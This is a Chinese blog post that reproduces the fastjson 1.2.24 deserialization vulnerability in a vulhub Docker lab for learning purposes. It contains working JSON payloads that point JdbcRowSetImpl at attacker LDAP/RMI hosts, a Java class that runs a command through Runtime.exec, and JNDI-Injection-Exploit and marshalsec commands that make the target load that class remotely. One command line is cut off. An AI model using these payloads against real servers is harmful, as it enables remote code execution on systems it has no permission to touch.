fastjson1.2.24 反序列化漏洞复现

fastjson简介

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
这里json与java对象之间的转换,便是使用的序列化和反序列化,fastjson的反序列化也就是来自这里。
详细介绍:https://www.runoob.com/w3cnote/fastjson-intro.html

漏洞环境

vulhub

仅是复现漏洞可以使用vulbub,直接使用docker启动漏洞环境即可。
环境安装参考以下链接
安装docker:https://blog.youkuaiyun.com/BThinker/article/details/123358697
vulhub下载:https://github.com/vulhub/vulhub
使用到的命令:

# 启动
docker-compose up -d
# 查看运行情况
docker ps
# 进入容器
docker exec -it [ID] bash
# 停止容器
docker stop [ID]

漏洞复现

使用JNDI注入测试工具:JNDI-Injection-Exploit-1.0-SNAPSHOT
下载地址:https://gitee.com/yijingsec/JNDI-Injection-Exploit
开启漏洞环境,访问
在这里插入图片描述
构造post请求,可以修改name参数的值
在这里插入图片描述
使用dnslog平台判断是否存在漏洞

{"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://df5789e898.ipv6.1433.eu.org","autoCommit":true}}

在这里插入图片描述
使用JNDI-Injection-Exploit-1.0-SNAPSHOT构造payload利用漏洞
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.232.1
利用成功则会再tmp目录下生成一个success文件
在这里插入图片描述

{"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.232.1:1099/u9plmp","autoCommit":true}}

进入docker查看,利用成功
在这里插入图片描述
也可使用反序列化利用工具 marshalsec,使用起来稍微麻烦一些,需要先构造一个一个恶意类

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

使用javac,编译为class文件,在class目录下使用python开启远程下载python http.server 8888
然后使用以下命令远程加载恶意类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.99.127
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.99.121:4444/#TouchFile” 9999

具体步骤:https://blog.youkuaiyun.com/aetlypdlg_ys/article/details/138752859
marshalsec使用方法参考:https://blog.youkuaiyun.com/whatday/article/details/107942941

漏洞详解

源码环境

可使用IDEA,maven添加依赖,源码可参考

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>
</dependencies>

直接使用IDEA将vulhub中的jar包复制出来,导入到项目中,即可得到源码。
在这里插入图片描述
重新加载maven,然后运行
在这里插入图片描述

漏洞详解参考

  • 针对fastjson漏洞的代码讲解,基础易懂:https://github.com/Maskhe/javasec/blob/master/9.fastjson-1.2.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md

  • 针对Fastjson系列漏洞的讲解:https://xz.aliyun.com/t/13386,包括序列化与反序列化,漏洞成因,工具原理等,无比详细。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_JINJI_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值